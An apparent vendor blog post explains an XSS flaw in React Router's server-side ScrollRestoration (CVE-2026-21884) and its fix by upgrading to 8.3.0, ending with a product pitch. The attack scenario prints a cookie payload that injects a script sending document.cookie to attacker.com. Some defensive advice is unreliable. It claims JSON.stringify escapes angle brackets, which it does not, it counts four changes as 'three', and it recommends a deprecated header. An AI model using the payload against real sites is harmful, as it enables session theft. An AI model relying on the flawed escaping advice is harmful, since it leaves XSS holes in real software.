How React Router SSR XSS in ScrollRestoration Happens and How to Fix It
The Vulnerability in Production
In a typical React Router-based application using server-side rendering, the ScrollRestoration component manages scroll position state across page navigations. This component stores scroll position data in cookies to restore user scroll position when they navigate back. However, in react-router versions prior to 8.3.0, the scroll position data stored in cookies was not properly sanitized before being rendered back into the HTML during SSR, creating a dangerous XSS vector.
An attacker could craft a malicious cookie containing JavaScript code. When a user with that cookie visited the application, the React Router SSR process would read the scroll position from the cookie and render it into the HTML without proper escaping. This allowed the attacker's JavaScript to execute in the user's browser with full access to the page context—including session tokens, sensitive data, and the ability to perform actions on behalf of the user.
Understanding the Vulnerability
The Attack Vector
The vulnerability exists in how React Router's ScrollRestoration component handles scroll position state during server-side rendering. Here's what happens:
- Untrusted Input: Scroll position data is stored in HTTP cookies (specifically in the cookie jar that gets sent with each request)
- Unsafe Rendering: During SSR, React Router reads this cookie data to restore scroll position
- Missing Sanitization: The scroll position value is rendered directly into the HTML without encoding special characters
- XSS Execution: An attacker's malicious payload in the cookie executes in the browser
Example Attack Scenario
Imagine an attacker sets a cookie like:
scroll-position: "><script>fetch('https://attacker.com/steal?token=' + document.cookie)</script>
When the SSR process renders the scroll restoration code, it might generate something like:
<script>
window.scrollTo(0, "><script>fetch('https://attacker.com/steal?token=' + document.cookie)</script>);
</script>
This breaks out of the string context and executes the attacker's code, stealing the user's session cookies.
The Root Cause: Dependency Chain Issues
Looking at the package-lock.json diff, the vulnerability was tied to how react-router handled cookies:
Before the fix (react-router 7.9.5):
"node_modules/react-router": {
"version": "7.9.5",
"dependencies": {
"cookie": "^1.0.1",
"set-cookie-parser": "^2.6.0"
}
}
The problem was multi-layered:
- The cookie package (1.0.2) had unsafe parsing and serialization of cookie values
- The set-cookie-parser dependency added complexity in cookie handling
- Together, these created an attack surface where scroll position data could be injected with XSS payloads
The scroll position value, being user-controllable through the cookie, wasn't being properly validated or encoded before being used in the SSR rendering context.
The Fix: Upgrade to React Router 8.3.0
After the fix (react-router 8.3.0):
"node_modules/react-router": {
"version": "8.3.0",
"dependencies": {
"cookie-es": "^3.1.1"
}
}
The fix involved three critical changes:
1. Replaced cookie with cookie-es
- cookie-es (3.1.1) provides safer cookie parsing with proper encoding/decoding
- It properly escapes special characters in cookie values
- No longer vulnerable to injection through cookie manipulation
2. Removed set-cookie-parser
- Eliminated the unnecessary dependency that added complexity
- Reduced the attack surface by removing an extra layer of cookie processing
- Simplified the cookie handling pipeline, making it easier to audit and maintain
3. Updated Node.js requirement
- Changed from node >= 20.0.0 to node >= 22.22.0
- Ensures users have access to the latest security patches in the Node.js runtime
4. Updated React peer dependencies
- Changed from react >= 18 to react >= 19.2.7
- React 19.2.7+ includes improvements in XSS prevention in SSR contexts
How the Fix Prevents the Vulnerability
The cookie-es package properly handles cookie serialization and deserialization:
// OLD (vulnerable pattern in cookie 1.0.2):
// Cookie values could contain unescaped special characters
const scrollPos = cookieValue; // e.g., '"><script>alert(1)</script>'
// Rendered directly without encoding
// NEW (safe pattern in cookie-es 3.1.1):
// Cookie values are properly encoded/decoded
const scrollPos = decodeURIComponent(cookieValue);
// Special characters are safely handled
// Rendered with proper HTML escaping
When scroll position is now rendered in the SSR HTML, it's properly escaped:
// Before rendering, the value is sanitized
const safeScrollPos = JSON.stringify(scrollPos); // Proper encoding
// Result: scroll position like "\"><script>alert(1)</script>"
// The angle brackets are escaped, preventing code execution
Prevention & Best Practices
1. Always Update Dependencies Regularly
- Use npm audit to check for known vulnerabilities in your dependency tree
- Implement automated dependency updates with tools like Dependabot
- Test updates in a staging environment before deploying to production
2. Validate and Sanitize Cookie Data
- Never trust cookie values as-is
- Decode cookie values properly using well-tested libraries
- Validate that values match expected formats (e.g., numeric scroll positions should only contain digits)
3. Encode Output for the Context
- When rendering data in HTML, use proper HTML escaping
- When rendering in JavaScript strings, use JSON encoding
- When rendering in URLs, use URL encoding
- React helps with this, but be cautious with dangerouslySetInnerHTML
4. Use Security Headers
- Implement Content-Security-Policy (CSP) headers to prevent inline script execution
- Use script-src 'self' to only allow scripts from your domain
- Add X-XSS-Protection: 1; mode=block as an additional defense layer
5. Leverage Static Analysis
- Use tools like Trivy, Snyk, or npm audit to scan for known vulnerabilities
- Integrate security scanning into your CI/CD pipeline
- Keep your scanning tools updated with the latest CVE databases
6. Review SSR-Specific Risks
- SSR applications have unique attack vectors since code runs on both server and client
- Be especially careful with data that flows from server to client
- Use security-focused frameworks and libraries that handle SSR safely by default
Key Takeaways
- Cookie data is user-controllable: Never assume cookies are trustworthy, even if they're set by your application—attackers can manipulate them
- SSR requires extra caution: Server-side rendering creates additional XSS vectors because untrusted data gets serialized into HTML that's sent to the browser
- Dependency management is security: The vulnerable
cookieandset-cookie-parserpackages created an exploitable chain—keeping dependencies updated is critical - React Router 8.3.0 improves security: The upgrade to
cookie-esdemonstrates how using well-maintained, security-conscious libraries reduces your attack surface - Static analysis catches these issues: Trivy's detection of CVE-2026-21884 shows that automated scanning can identify known vulnerabilities before they're exploited in production
How Orbis AppSec Detected This
Source: HTTP request cookies containing scroll position data (e.g., __scroll-restoration-position)
Sink: React Router's ScrollRestoration component rendering scroll position into HTML without proper sanitization during SSR in react-router/dist/ScrollRestoration.js
Missing control: No validation of cookie values before rendering; no HTML escaping of scroll position data; improper use of the vulnerable cookie package for parsing
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation - 'Cross-site Scripting')
Fix: Upgraded react-router from 7.9.5 to 8.3.0, which replaces the vulnerable cookie package (1.0.2) with cookie-es (3.1.1) that properly encodes/decodes cookie values, and removes the set-cookie-parser dependency entirely, eliminating the XSS attack surface.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-21884 demonstrates a critical lesson in modern web security: vulnerabilities aren't always in your own code—they hide in your dependencies. React Router's ScrollRestoration XSS was particularly dangerous because it affected SSR applications where untrusted data flows directly from cookies into rendered HTML.
The fix—upgrading to react-router 8.3.0 with proper cookie handling via cookie-es—is straightforward, but the lesson is profound: keep your dependencies updated, use security scanning in your CI/CD pipeline, and be especially cautious with data that flows from cookies to rendered HTML in SSR contexts.
If you're running an older version of react-router, prioritize this upgrade. If you're building new applications, use security-first libraries and keep your dependency tree lean and well-maintained. The cost of staying secure is far lower than the cost of recovering from an XSS attack that compromises your users' sessions and data.